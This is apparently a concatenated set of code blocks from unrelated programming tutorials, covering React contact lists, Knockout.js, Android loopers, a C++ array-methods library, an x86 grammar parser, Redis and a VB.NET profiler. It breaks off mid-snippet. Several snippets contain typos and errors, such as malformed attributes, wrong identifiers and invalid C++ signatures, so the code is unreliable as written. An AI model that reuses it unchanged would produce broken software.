    &lt;value&gt;System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0,
           Culture=neutral, PublicKeyToken=b77a5c561934e089&lt;/value&gt;
  &lt;/resheader&gt;
  &lt;assembly alias="System.Drawing" name="System.Drawing" /&gt;
  &lt;data name="ImageExit16x16" type="System.Drawing.Bitmap, System.Drawing"
        mimetype="application/x-microsoft.net.object.bytearray.base64"&gt;
    &lt;value&gt;
      iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
      YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAQ1JREFUOE+lk6ES
      gzAQRNtPQtYiK5G1kZWR2MhKZG1kZWUtsjK/kE9AXndTAhfKDMwU5g2Q7G1u7o6jiBz+umhAXNPIl3rC
      nmv5ocbaSDo8Bz9vTiQEkXe/DXTeORhV8+kDAoeH3w/05qQNXk8Z7t1+oFcGdTo53qwM6uZ3ZrlOfWEQ
      fSexNYlCvPKddNCXBkg/XJsJbZLf9X6EvjAIrZUeVdVok+Ue9bMB+r00WMtAmxQGHJbgkAGGiBQ1YGvV
      nTXUTxkkAwxSf1kEo1Vci2yxNsEa9aYa54AGsXMSDIq4E+pLA7QlWANgssnYRp2BR1Ujh4nzsAV03qIG
      2YA/VP7Dvs8qwSL9gCAGEsZ9AB8mrjl1sCJ5AAAAAElFTkSuQmCC
    &lt;/value&gt;
  &lt;/data&gt;
  ...
  &lt;data name="MenuTopLevelItemEdit" xml:space="preserve"&gt;
    &lt;value&gt;Edit&lt;/value&gt;
    &lt;comment&gt;user interface text&lt;/comment&gt;
  &lt;/data&gt;
  ...
&lt;/root&gt;</pre>


<pre lang="Java">
{ 
  state: "", 
  access_token: "not a real access token", 
  token_type: "Bearer", 
  expires_in: 3600, 
  client_id: "your client id", 
  network: "google", 
  display: "popup", 
  redirect_uri: "http://localhost:5000/", 
  scope: "basic", 
  expires: 1464148474.442 
}</pre>


<pre lang="HTML">
&lt;script&gt;

    hello.on('auth.login', function (auth) {

      // add a greeting and access the thumbnail and name from
      // the authorized response

      hello(auth.network).api('/me').then(function (resp) {
	var lab = document.createElement("div");
	lab.id = "pic_and_greet";
	lab.innerHTML = '&lt;img src="' + resp.thumbnail + '" /&gt; Hey ' + resp.name;
	document.body.appendChild(lab);
      });
    });

    // remove the greeting when we log out

    hello.on('auth.logout', function () {
      var lab = document.getElementById("pic_and_greet");
      if (lab != null) document.body.removeChild( lab );
    });

&lt;/script&gt;</pre>


<pre lang="Java">
@Component({
  selector: 'hello-world',
  template: `
    &lt;div (click)="handleClick()"&gt;
      &lt;h2&gt;Hello {{message}}&lt;/h2&gt;
    &lt;/div&gt;
  `
})
export class Hello {
  
  @Input()
  message : String;
  
  @Output()
  onClick : EventEmitter = new EventEmitter();
  
  handleClick(){
    this.onClick.emit("I got clicked pretty bad");
  }
}</pre>


<pre lang="React">
class App extends Component {
.
.
render() {
return(
    &lt;div className="row"&gt;
      &lt;div className="col-xs-12 col-sm-offset-3 col-sm-6"&gt;
        &lt;span className="title"&gt;Contacts&lt;/span&gt;
          &lt;SearchBar /&gt;
    &lt;ul cl assName="list-group" id="contact-list"&gt;
         &lt;li className="list-group-item"&gt; 
           &lt;ContactCard /&gt;
         &lt;/li&gt;
        &lt;/ul&gt;
     &lt;/div&gt;
   &lt;/div&gt;
  )
}</pre>


<pre lang="JavaScript">
{ "code": 200,
  "contacts":[
  {
    "name": "Mark",
    "surname": "Cook",
    "gender": "male",
    "address": "52 East Forest Rd. mRockford, MI 49341",
    "age": 27,
    "title": "mr",
    "phone": "(396) 881 3396",
    "birthday": {
      "dmy": "09/08/1990",
      "mdy": "08/09/1990",
      "raw": 650246246
    },
  }, 
 ...
 ]
}
</pre>


<pre lang="JavaScript">
componentWillMount() {
    let init = {
         method: 'GET',
         headers: new Headers(),
         mode: 'cors',
         cache: 'default' 
      };

    fetch(contactsAPI, init)
      .then( response =&gt; response.json())
      .then( 
        data =&gt; this.setState( 
          prevState =&gt; ({
          contactList: [...data.contacts]
          }) 
      )
    )
}
</pre>


<pre lang="HTML">
 &lt;ul className="list-group" id="contact-list"&gt;
            { this.state.contactList().map(
                (contact) =&gt; 
                  &lt;li key={contact.email} className="list-group-item"&gt; 
                    &lt;ContactCard contact = {contact}/&gt;
                  &lt;/li&gt;
              )
            }
 &lt;/ul&gt;</pre>


<pre lang="JavaScript">
  const ContactCard = ({contact}) =&gt; {
    return(
       &lt;div&gt;
            &lt;div className="col-xs-4 col-sm-3"&gt;
                &lt;img src={contact.photo} alt={contact.name + ' ' + contact.surname} className="img-responsive img-circle" /&gt;
            &lt;/div&gt;
            &lt;div className="col-xs-8 col-sm-9"&gt;
                &lt;span&gt;{contact.name + ' ' + contact.surname}&lt;/span&gt;&lt;br/&gt;
                
                &lt;span title={contact.address}&gt;&lt;/span&gt;
                &lt;span&gt;{contact.address}&lt;/span&gt;&lt;br/&gt;
                
                &lt;span title={contact.phone}&gt;&lt;/span&gt;
                &lt;span&gt;{contact.phone}&lt;/span&gt;&lt;br/&gt;
                
                &lt;span title={contact.email}&gt;&lt;/span&gt;
                &lt;span&gt;{contact.email}&lt;/span&gt;&lt;br/&gt;
            &lt;/div&gt;
            &lt;div className="clearfix"&gt;&lt;/div&gt;
       &lt;/div&gt;
        
    )
}</pre>


<pre lang="JavaScript">
const SearchBar = ({onSearch}) =&gt; {
    const handleChange = (e) =&gt; {
        onSearch(e.target.value);
    }
    return( 
        &lt;div className="input-group "&gt;
            &lt;input onChange = {handleChange} className="form-control" type="search" placeholder="Search for a contact" id="example-search-input" /&gt;
            &lt;button className="btn btn-default" type="button"&gt;
                &lt;i className="fa fa-search"&gt;&lt;/i&gt;
            &lt;/button&gt;
        &lt;/div&gt;
    )
}</pre>


<pre lang="HTML">
 handleSearch(searchText) {
   
    this.setState({searchResult: [], searchText: searchText});
    this.state.contactList.map(contact =&gt; {
    
    if(searchContact(contact, searchText)) {
         this.setState( prevState =&gt; ({
           searchResult: [...prevState.searchResult, contact]
         }), () =&gt; console.log(this.state.searchResult))
      }
    })
  }
...
/* searchContact function */
 const searchContact = (contact, searchText) =&gt; ( 
     contact.name.toLowerCase().search(searchText.toLowerCase()) != -1 || 
     contact.surname.toLowerCase().search(searchText.toLowerCase()) != -1 || 
     contact.phone.toString().search(searchText) != -1 
 )

</pre>


<pre lang="HTML">
&lt;ul className="list-group" id="contact-list"&gt;
            { this.state.searchResult().map(
                (contact) =&gt; 
                  &lt;li key={contact.email} className="list-group-item"&gt; 
                    &lt;ContactCard contact = {contact}/&gt;
                  &lt;/li&gt;
              )
            }
&lt;/ul&gt;</pre>


<pre lang="JavaScript">
&lt;ul className="list-group" id="contact-list"&gt;
            { this.returnContactList().map(
                (contact) =&gt; 
                  &lt;li key={contact.email} className="list-group-item"&gt; 
                    &lt;ContactCard contact = {contact}/&gt;
                  &lt;/li&gt;
              )
            }
&lt;/ul&gt;</pre>


<pre lang="C++">
void *looperThreadCallback(void *data) {
    *(ALooper **) data = ALooper_prepare(0);
    ALooper_pollAll(-1, 0, NULL, NULL);     //this function will return when call ALooper_wake
    return NULL;
}

ALooper *createLooper(const char *threadName) {
    ALooper *looper = NULL;
    pthread_t t;
    pthread_create(&amp;t, NULL, looperThreadCallback, &amp;looper);
    pthread_setname_np(t, threadName);
    pthread_detach(t);  //detach the pthread_t, because we don't care the thread termination
    while (looper == NULL) { usleep(0); }   //simple spin wait, because the looper should be ready quickly
    return looper;
}

void createDefaultLooper() {
    g_defaultWaitIOLooper = createLooper("DefaultNativeIO");
}</pre>


<pre lang="C++">
void *registerWaitForSingleFD(int fd, int events, ALooper_callbackFunc func, 
                              void *data, bool isLongRunListener) {
    LOGD("registerWaitForSingleFD: fd=%d events=%d", fd, events);
    ALooper *looper = NULL;
    if (isLongRunListener) {
        looper = createLooper("LongRunNativeIO");
    } else {
        pthread_once(&amp;g_defaultWaitIOLooper_once_t, createDefaultLooper);
        looper = g_defaultWaitIOLooper;
    }
    ALooper_addFd(looper, fd, 0, events, func, data);
    return looper;
}

void unregisterWaitForSingleFD(void *hWait, int fd) {
    LOGD("unregisterWaitForSingleFD: fd=%d", fd);
    ALooper_removeFd((ALooper *) hWait, fd);
    if (hWait != g_defaultWaitIOLooper) {   //check whether LongRunListener
        ALooper_wake((ALooper *) hWait);    //notify ALooper_pollAll to return
    }
}</pre>


<pre lang="Java">
public static WaitIOThreadPool registerWaitForSingleFD(FileDescriptor fd, int events, 
MessageQueue.OnFileDescriptorEventListener listener, boolean isLongRunListener) {
    final Looper looper;
    if (isLongRunListener) {
        looper = new HandlerThread("LongRunJavaIO") {{
            start();
        }}.getLooper();
    } else {
        looper = mHandlerThread.getLooper();
    }
    looper.getQueue().addOnFileDescriptorEventListener(fd, events, listener);
    return new WaitIOThreadPool(looper, isLongRunListener);
}

public void unregisterWaitForSingleFD(FileDescriptor fd) {
    mLooper.getQueue().removeOnFileDescriptorEventListener(fd);
    if (mIsLongRunListener) {
        mLooper.quitSafely();
    }
}</pre>


<pre lang="SQL">
INSERT INTO `owner` 
VALUES ('24fd81f8-d58a-4bcc-9f35-dc6cd5641906','John Keen','1980-12-05','61 Wellfield Road'), 
('261e1685-cf26-494c-b17c-3546e65f5620','Anna Bosh','1974-11-14','27 Colored Row'),
('a3c1880c-674c-4d18-8f91-5d3608a2c937','Sam Query','1990-04-22','91 Western Roads'),
('f98e4d74-0f68-4aac-89fd-047f1aaca6b6','Martin Miller','1983-05-21','3 Edgar Buildings');
INSERT INTO `account` 
VALUES ('03e91478-5608-4132-a753-d494dafce00b','2003-12-15','Domestic','f98e4d74-0f68-4aac-89fd-047f1aaca6b6'),
('356a5a9b-64bf-4de0-bc84-5395a1fdc9c4','1996-02-15','Domestic','261e1685-cf26-494c-b17c-3546e65f5620'), 
('371b93f2-f8c5-4a32-894a-fc672741aa5b','1999-05-04','Domestic','24fd81f8-d58a-4bcc-9f35-dc6cd5641906'), 
('670775db-ecc0-4b90-a9ab-37cd0d8e2801','1999-12-21','Savings','24fd81f8-d58a-4bcc-9f35-dc6cd5641906'), 
('a3fbad0b-7f48-4feb-8ac0-6d3bbc997bfc','2010-05-28','Domestic','a3c1880c-674c-4d18-8f91-5d3608a2c937'), 
('aa15f658-04bb-4f73-82af-82db49d0fbef','1999-05-12','Foreign','24fd81f8-d58a-4bcc-9f35-dc6cd5641906'), 
('c6066eb0-53ca-43e1-97aa-3c2169eec659','1996-02-16','Foreign','261e1685-cf26-494c-b17c-3546e65f5620'), 
('eccadf79-85fe-402f-893c-32d3f03ed9b1','2010-06-20','Foreign','a3c1880c-674c-4d18-8f91-5d3608a2c937');</pre>


<pre lang="C++">
void safe_printf(const char *s)
{
    while (*s) {
        if (*s == '%') {
            if (*(s + 1) == '%') {
                ++s;
            }
            else {
                throw std::runtime_error("invalid format string: missing arguments");
            }
        }
        std::cout &lt;&lt; *s++;
    }
}

template&lt;typename T, typename... Args&gt;
void safe_printf(const char *s, T value, Args... args)
{
    while (*s) {
        if (*s == '%') {
            if (*(s + 1) == '%') {
                ++s;
            }
            else {
                std::cout &lt;&lt; value;
                safe_printf(s + 1, args...); // call even when *s == 0 to detect extra arguments
                return;
            }
        }
        std::cout &lt;&lt; *s++;
    }
    throw std::logic_error("extra arguments provided to printf");
}</pre>


<pre lang="C++">
template&lt;typename ... many&gt;
void safe_printf2(const char *s, many ... args)
{
    vector&lt;any&gt; a = {args ...};

    while (*s) {
        if (*s == '%') {
            if (*(s + 1) == '%') {
                ++s;
            }
            else {

                if (a.empty())
                    throw std::logic_error("Fewer arguments provided to printf");

                if (a[0].type() == typeid(string)) cout &lt;&lt; any_cast&lt;string&gt;(a[0]);
                if (a[0].type() == typeid(int)) cout &lt;&lt; any_cast&lt;int&gt;(a[0]);
                if (a[0].type() == typeid(double)) cout &lt;&lt; any_cast&lt;double&gt;(a[0]);

                a.erase(a.begin());
                s++;
            }
        }
        std::cout &lt;&lt; *s++;
    }
}
</pre>



<pre lang="HTML">
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Knockout Test&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
   &lt;input type="text" data-bind="textInput: helloValue"&gt;
   &lt;br/&gt;
   &lt;p&gt;Hello &lt;span data-bind="text: helloValue"&gt;&lt;/span&gt;&lt;/p&gt;

   &lt;script type="text/javascript" src="scripts/knockout-3.4.2.js"&gt;&lt;/script&gt;
   &lt;script type="text/javascript"&gt;
      var helloDataModel = function() {
         helloValue = ko.observable("")
      };
      ko.applyBindings(new helloDataModel());
   &lt;/script&gt;   
&lt;/body&gt;
&lt;/html&gt;</pre>


<pre lang="HTML">
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Knockout Test&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;

   &lt;div data-bind="component: 'view-count'"&gt;&lt;/div&gt;

   &lt;script type="text/javascript" src="scripts/knockout-3.4.2.js"&gt; &lt;/script&gt;
   &lt;script type="text/javascript"&gt;
      var myDataModel = function () {
         var self = this;
         
         self.viewCount = ko.observable(1);
         self.clickView = function () {
            var currCount = self.viewCount();
            self.viewCount(currCount + 3);
         };
      };
      
      ko.components.register('view-count', {
         viewModel: myDataModel,
         template: "&lt;p data-bind='text: viewCount'&gt;&lt;/p&gt;
                    &lt;button data-bind='click: clickView'&gt;test&lt;/button&gt;"
      });
      ko.applyBindings();
   &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</pre>


<pre lang="HTML">
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Knockout Test&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;

   &lt;script type="text/javascript" 
   data-main="scripts/main.js" src="scripts/require.js"&gt;&lt;/script&gt;
   &lt;div data-bind="component: 'view-count'"&gt;&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</pre>


<pre lang="JavaScript">
define(['knockout-3.4.2'], function(ko) {
   var myDataModel = function () {
      var self = this;
      
      self.viewCount = ko.observable(1);
      self.clickView = function () {
         var currCount = self.viewCount();
         self.viewCount(currCount + 3);
      };
   };
   
   return myDataModel;
});</pre>


<pre lang="Python">
import redis

# connect to Redis
server = redis.Redis(host="127.0.0.1", port=6379)

server.ping()
# should return True

server.keys()
# should return [] since we haven't added any keys yet

server.get('MyKey')
# should return nothing since we haven't added the key yet

server.set('MyKey', 'I love Python')
# should return True

server.keys()
# should return [b'MyKey']

server.get('MyKey')
# should return "b'I love Python'"

server.delete('MyKey')
# should return 1 as success code

server.get('MyKey')
# should return nothing because we just deleted the key</pre>

<pre lang="C#">
// set up loop to parse tokens held as an array of numeric values, comparing the token stream against rules (legal sentences in the grammar)

// each rule comprises: the length of the 'sentence' and then the set of allowed tokens for that legal sentence

// token encoding examples: 238 = lang type X86, 80 =opcode, 64 = 32 bit register, 10 = immediate value, 248 = operand in memory, 116 = instruction label (reference this locn in code for jumps etc)

UInt32[] rule0 = new UInt32[2] { 1, 238 };   // example rules/sentences
UInt32[] rule1 = new UInt32[2] { 1, 80 };
UInt32[] rule2 = new UInt32[3] { 2, 80, 64 };
UInt32[] rule3 = new UInt32[4] { 3, 80, 64, 10 };
UInt32[] rule4 = new UInt32[4] { 3, 80, 64, 64 };
UInt32[] rule5 = new UInt32[4] { 3, 80, 64, 248 };
UInt32[] rule6 = new UInt32[5] { 4, 116, 80, 64, 64 };
UInt32[] rule7 = new UInt32[5] { 4, 116, 80, 64, 248 };
UInt32[] rule8 = new UInt32[5] { 4, 116, 80, 64, 10 };

// the token stream is tested against each possible rule, more demanding rules first, simplest last to avoid false positives           

switch (ruleno) 
{
	case (8): result = OK = tryRule(ruleno, rule8, G.token, G.tokentype, i, fLookmax); if (OK) { skip = skip + rule8[0]; } goto Lnxttok;

	case (7): result = OK = tryRule(ruleno, rule7, G.token, G.tokentype, i, fLookmax); if (OK) { skip = skip + rule7[0]; } goto Lnxttok

	case (6): result = OK = tryRule(ruleno, rule6, G.token, G.tokentype, i, fLookmax); if (OK) { skip = skip + rule6[0]; } goto Lnxttok;
	case (5): result = OK = tryRule(ruleno, rule5, G.token, G.tokentype, i, fLookmax); if (OK) { skip = skip + rule5[0]; } goto Lnxttok;
	case (4): result = OK = tryRule(ruleno, rule4, G.token, G.tokentype, i, fLookmax); if (OK) { skip = skip + rule4[0]; } goto Lnxttok;
	case (3): result = OK = tryRule(ruleno, rule3, G.token, G.tokentype, i, fLookmax); if (OK) { skip = skip + rule3[0]; } goto Lnxttok;
	case (2): result = OK = tryRule(ruleno, rule2, G.token, G.tokentype, i, fLookmax); if (OK) { skip = skip + rule2[0]; } goto Lnxttok;
	case (1): result = OK = tryRule(ruleno, rule1, G.token, G.tokentype, i, fLookmax); if (OK) { skip = skip + rule1[0]; } goto Lnxttok;
	case (0): result = OK = tryRule(ruleno, rule0, G.token, G.tokentype, i, fLookmax); if (OK) { skip = skip + rule0[0]; } goto Lnxttok;
	default: G.writer.WriteLine("X86 Syntax error line " + G.lineno); i++; skip++; result = OK = false; goto Lendline;

}

NOTE: More compact and efficient code is obvious, but the aim was to allow easy debugging before coding for efficiency. 

// once a match is found for a set of tokens comprising a source line the process skips to the next set (source line)

// The grammar for the X86/X64 parser is described by the outline below.Floating point, MMX, etc instructions are not covered.           


//  Statement'        -&gt;[Statement]|[InstrStatement]|[DataDefnStmnt]|[Comment]|[Directive]
//  InstrStatement -&gt;[Label][Prefix][ValidInstrMneu][Operand1][Operand2][Operand3][Comment]
//  DataDefnStmnt-&gt;[DataLabel][ValidDefn][DataValue][Comment]
//  AddrLabel        -&gt;[NearLabel]|[FarLabel]|e
//  DataLabel        -&gt;[VariableName]|e
//  ValidInstrMneu-&gt;["add"|"sub"|...............]+
//  ValidVarDefn   -&gt;["byte"|"word"|"dword"]+
//  ValidConstDefn-&gt;["equ"]+
//  VariableName  -&gt;[a-zA-Z]+[0-9]
//          NearLabel -&gt;[a-zA-Z][:]
//          FarLabel    -&gt;[a-zA-Z][:][:]
//  ValidRegister   -&gt;["eax","ebx"..................."eip"]+
//  Prefix               -&gt;["rep"|"lock"...................]e
//  Operand1        -&gt;[SizeModifier][ValidExpression]|[ValidExpression]|[SizeModifier][DataLabel]|[AddrLabel]|[ValidImmediate]|e
//  Operand2        -&gt;[SizeModifier][ValidExpression]|[ValidExpression]|[SizeModifier][DataLabel]|[AddrLabel]|[ValidImmediate]|e
//  Operand3        -&gt;[SizeModifier][ValidExpression]|[ValidExpression]|[SizeModifier][DataLabel]|[AddrLabel]|[ValidImmediate]|e
//  Comment        -&gt;[;]+[a-cA-Z0-9]|e
//  SizeModifier    -&gt;["byteptr","wordptr","dwordptr"]+
// ValidExpression-&gt;[ValidRegister]|Displ[Base+Index*Scale]|Base[Displ]
//           Displ       -&gt;[ValidImmediate]
//           Scale       -&gt;[0-9]+|e
//           Base        -&gt;[ValidRegister]
//           Index       -&gt;[ValidRegister]|[0-9]+|e
//  Directive           -&gt;to be defined..................
//  NB. Allows [base+displ] as alternative to displ[base]  displ[base+index*scale] or [base+index*scale]   -                //   *scale may be omitted
</pre>


<pre lang="C++">
#include "array_methods.h"
using namespace array_methods;

int arr[10][10];  //a plain array not wrapped, preprepared or registered in any way

int res = arr<strong>-&gt;*at</strong>(5)<strong>-&gt;*at</strong>(3); //bounds checked element access</pre>


<pre lang="C++">
//_______________________array properties__________________________________
array<strong>-&gt;*get_size()</strong>    //number of elements in first rank
array<strong>-&gt;*get_rank()</strong>    //number of dimensions    
array<strong>-&gt;*get_volume()</strong> //total number of elements in multidimensional array

//________________________element access___________________________________
array<strong>[index]</strong> //the native access operator of a plain array
     also  supports functional style dereferencing e.g. <strong>5[4[3[</strong>array<strong>]]]</strong>.

array<strong>-&gt;*at(index)</strong>    // run-time bounds check
array<strong>-&gt;*at&lt;false&gt;(</strong>index<strong>)</strong> // no bounds check, same as array[index]
array<strong>-&gt;*at&lt;</strong>index<strong>&gt;()</strong>    // compile-time bounds check with symbolic constant
array<strong>-&gt;*</strong>7<strong>_th</strong>            // compile-time bounds check with literal constant

The element access methods also support functional style dereferencing. 
e.g. <strong>5_th[4_th[at(x)[</strong>array<strong>]]]</strong>.

//_____________________copy, fill and swap__________________________________ 
array<strong>-&gt;*copy(</strong>src_array<strong>)</strong> //copies all elements of src_array to itself 
array<strong>-&gt;*fill(</strong>value or array<strong>)</strong> //fills array or volume
array<strong>-&gt;*swap(</strong>src_array<strong>)</strong> //swaps contents with another array

//_______________________iterators_______________________________
array<strong>-&gt;*get_begin() </strong>   //get iterator set to beginning of array
array<strong>-&gt;*get_cbegin()</strong>    //iterator cannot be used to mutate the array

array<strong>-&gt;*get_end()</strong>        //get iterator set to one past the end of array
array<strong>-&gt;*get_cend()</strong>       //iterator cannot be used to mutate the array

//_______________________reverse iterators_______________________________
array<strong>-&gt;*get_rbegin() </strong>  //get reverse iterator begin = end of the array
array<strong>-&gt;*get_rcbegin() </strong> //iterator cannot be used to mutate the array

array<strong>-&gt;*get_rend()</strong>  //get reverse iterator end = last address before beginning of array
array<strong>-&gt;*get_rcend()</strong> //iterator cannot be used to mutate the array

//____________________volume iterators____________________________________
array<strong>-&gt;*get_begin_volume() </strong>   //get iterator set to beginning of volume
array<strong>-&gt;*get_cbegin_volume()</strong>   //iterator cannot be used to mutate the volume

array<strong>-&gt;*get_end_volume()</strong>     //get iterator set to one past the end of the volume
array<strong>-&gt;*get_cend_volume()</strong>    //iterator cannot be used to mutate the volume

//__________________reverse volume iterators_________________________________
array<strong>-&gt;*get_rbegin_volume() </strong>  //get reverse volume iterator begin = end of the volume
array<strong>-&gt;*get_rcbegin_volume() </strong> //iterator cannot be used to mutate the volume

array<strong>-&gt;*get_rend_volume()</strong>     //get reverse volume iterator end = volume begin -1
array<strong>-&gt;*get_rcend_volume()</strong>    //iterator cannot be used to mutate the volume
</pre>


<pre lang="C++">
int a[10][10][10];
// …....
int i1 = array<strong>-&gt;*at(</strong>x<strong>)-&gt;*at(</strong>y<strong>)-&gt;*at(</strong>z<strong>)</strong>;

int i2 = array<strong>-&gt;*</strong>5<strong>_th-&gt;*</strong>6<strong>_th-&gt;*</strong>7<strong>_th</strong>;</pre>


<pre lang="C++">
//Get number of elements in first rank of any array
template&lt;class <strong>T</strong>, size_t <strong>N</strong>&gt;
inline constexpr size_t <strong>get_size</strong>(<strong>T</strong>(&amp;a)[<strong>N</strong>])
{
    return N;
}

int arr[10];
size_t size = <strong>get_size</strong>(a);</pre>


<pre lang="C++">
//Get elements at index with bounds checking
template&lt;class <strong>T</strong>, size_t <strong>N</strong>&gt;
inline T&amp; size_t <strong>get_at</strong>(<strong>T</strong>(&amp;a)[<strong>N</strong>], size_t index)
{
    if ( <strong>index &lt; N</strong>)
        return a[index];
    throw std::out_of_range("array index");
}

//Get elements at const index with compile time bounds checking
template&lt;size_t Index, class <strong>T</strong>, size_t <strong>N</strong>&gt;
typename std::enable_if&lt;(N &gt; Index), T&amp;&gt;::type 
    <strong>get_at</strong>(<strong>T</strong>(&amp;a)[<strong>N</strong>])
{
    return a[I];
}

int arr[10];
int i = <strong>get_at</strong>(arr, 7);
int i = <strong>get_at&lt;7&gt;</strong>(arr);</pre>


<pre lang="C++">
int aaa[10][10][10];

int res1 = aaa<strong>[3][4][5]</strong>; //normal access

int res2 = <strong>get_at</strong>(<strong>get_at</strong>(<strong>get_at</strong>(aaa, <strong>4</strong>), <strong>5</strong>), <strong>3</strong>);//bounds checked access</pre>


<pre lang="C++">
template&lt;class T, size_t N&gt;
T&amp; operator <strong>-&gt;*</strong> (T(&amp;a)[N], <strong>at_index</strong> i)
{
    if (<strong>i.index &lt; N</strong>)
        return a[i.index];
    throw std::out_of_range("array index");
    
}</pre>


<pre lang="C++">
using array_methods::at;
using array_methods::operator""_th;

int arr[10][10][10];

arr<strong>-&gt;*array_methods::fill</strong>(0); //fill wasn't promoted so has to be qualified with <strong>aray_methods::</strong>
arr<strong>-&gt;*at</strong>(4)<strong>-&gt;*at</strong>(5)<strong>-&gt;*at</strong>(6) = 23;</pre>


<pre lang="C++">
<strong>namespace arr_mtds = array_methods;</strong>

int arr[10][10][10];

arr<strong>-&gt;*arr_mtds::fill</strong>(0);

arr<strong>-&gt;arr_mtds::at</strong>(4)<strong>-&gt;*arr_mtds::at</strong>(5)-<strong>*&gt;arr_mtds::at</strong>(6) = 23;</pre>


<pre lang="C++">
void my_func1(<strong>int(&amp;</strong>arr<strong>)[10][10]</strong>) // a reference to an int[10][10]
{
    //fill
    arr<strong>-&gt;*fill</strong>(4);        //fills every element of volume with 4
    
    //this works too with plain arrays
    <strong>for (auto&amp; ar : arr)    
        for (auto&amp; e : ar)</strong>
            e *= 2;        //doubles every element of volume

    //bounds checked element access
    int res1 = arr<strong>-&gt;*4_th-&gt;*5_th</strong>;        //compile-time bounds checked access

    int res2 = arr<strong>-&gt;*at(</strong>res1<strong>)-&gt;*at(</strong>res1); //run-time bounds checked access

    //iteration of first rank - iterates through int[10]s held by first rank
    auto iter = arr<strong>-&gt;*get_begin()</strong>;
    auto end = arr<strong>-&gt;*get_end()</strong>;
    for (iter; iter != end; iter++)
        (*iter)<strong>-&gt;*4_th</strong> *= 3;      //trebles the 4 th element of each int[10]

    //volume iteration - iterates through every stored element in the volume
    auto v_iter = arr<strong>-&gt;*get_begin_volume()</strong>;
    auto v_end = arr<strong>-&gt;*get_end_volume()</strong>;
    for (v_iter; v_iter != v_end; v_iter++)
        *v_iter *= 3;      //trebles every element of volume.
}</pre>


<pre lang="C++">
using array_methods::get_rank;
using array_methods::get_size;
using array_methods::get_volume;
using array_methods::at;
using array_methods::operator""_th;
using array_methods::copy;
using array_methods::fill;
using array_methods::swap;
using array_methods::get_begin;
using array_methods::get_cbegin;
using array_methods::get_end;
using array_methods::get_cend;
using array_methods::get_begin_volume;
using array_methods::get_cbegin_volume;
using array_methods::get_end_volume;
using array_methods::get_cend_volume;</pre>


<pre lang="C++">
int a[10][15];
int b[10][15];
//.....fill code
a<strong>-&gt;*copy</strong>(b);

std::array&lt;std::array&lt;int, 15&gt;, 10&gt; sa;
sa-<strong>&gt;*copy</strong>(a);

std::array&lt;int[10], 10&gt; sxa;
sxa<strong>-&gt;*copy</strong>(sa);
</pre>


<pre lang="C++">
<strong>int arr[10][10];</strong>

auto iter = arr<strong>-&gt;*get_begin_volume()</strong>;
auto end = arr<strong>-&gt;*get_end_volume()</strong>;

for (iter; iter != end; ++iter)
	*(iter) += 5; 
//add 5 to each of the <strong>100 stored data elements</strong> in the volume
</pre>


<pre lang="C++">
<strong>int arr[10][10];</strong>

auto iter = arr<strong>-&gt;*get_rbegin_volume()</strong>;
auto end = arr<strong>-&gt;*get_rend_volume()</strong>;

for (iter; iter != end; ++iter)
	*(iter) += 5; 
//add 5 to each of the <strong>100 stored data elements</strong> in the volume
</pre>


<pre lang="VB.NET">
Imports System.Runtime.CompilerServices
Imports System.Text
Public Class Profiler
    Implements IDisposable
    Private _logger As ILogger
    Private _caller As String
    Private _logInfo As String
    Private _sw As New Stopwatch
    Private Shared _profileSwitch As New TraceSwitch("Profiler", "Switch for profiling")
    Public Sub New(logger As ILogger, Optional logInfo As String = Nothing, _
                   &lt;CallerMemberName&gt; Optional methodName As String = "")
        If _profileSwitch.Level = TraceLevel.Off Then
            Return
        End If
        If logger Is Nothing Then
            Throw New NullReferenceException("logger cannot be null")
        End If
        _logger = logger
        If logInfo Is Nothing Then
            logInfo = ""
        End If
        _logInfo = logInfo '// saves the additional message for use upon disposal.
        _caller = methodName '// saves the name of the method that called this constructor
        Dim sb As New StringBuilder
        sb.Append("Profiling STARTED @ ")
        sb.Append(_caller)
        If _logInfo &lt;&gt; String.Empty Then
            sb.Append(": ")
            sb.Append(_logInfo)
        End If
        _logger.LogEvent(sb.ToString) '// logs the start of measurement
        _sw.Start()
    End Sub
    Public Shared Property ProfileEnabled As Boolean
        Get
            Return _profileSwitch.Level &gt; TraceLevel.Off
        End Get
        Set(value As Boolean)
            If value Then
                _profileSwitch.Level = TraceLevel.Verbose
            Else
                _profileSwitch.Level = TraceLevel.Off
            End If
        End Set
    End Property
    Private Sub LogTime()
        _sw.Stop()
        If _profileSwitch.Level = TraceLevel.Off Then
            Return
        End If
        Dim sb As New StringBuilder
        sb.Append("Profiling COMPLETED @ ")
        sb.Append(_caller)
        If _logInfo &lt;&gt; String.Empty Then
            sb.Append(": ")
            sb.Append(_logInfo)
        End If
        sb.Append(". Time ellapsed: ")
        sb.Append(_sw.ElapsedMilliseconds)
        sb.Append("ms.")
        _logger.LogEvent(sb.ToString)
    End Sub
#Region "IDisposable Support"
    Private disposedValue As Boolean ' To detect redundant calls
    ' IDisposable
    Protected Overridable Sub Dispose(disposing As Boolean)
        If Not disposedValue Then
            LogTime()
        End If
        disposedValue = True
    End Sub
    ' TODO: override Finalize() only if Dispose(disposing As Boolean) 
    ' above has code to free unmanaged resources.
    'Protected Overrides Sub Finalize()
    '    ' Do not change this code.  Put cleanup code in Dispose(disposing As Boolean) above.
    '    Dispose(False)
    '    MyBase.Finalize()
    'End Sub
    ' This code added by Visual Basic to correctly implement the disposable pattern.
    Public Sub Dispose() Implements IDisposable.Dispose
        ' Do not change this code.  Put cleanup code in Dispose(disposing As Boolean) above.
        Dispose(True)
        ' TODO: uncomment the following line if Finalize() is overridden above.
        ' GC.SuppressFinalize(Me)
    End Sub
#End Region
End Class</pre>


<pre lang="VB.NET">
Public Class ProfileTest
    Private myLogger as New Logger    '// Logger is a class that implements the ILogger interface.
    Public Sub New()
        IntensiveTask()
    End Sub
    Private Sub IntensiveTask()
        Using p As New Profiler(myLogger, "Profiling code") '// 2nd and 3rd ctor parameters 
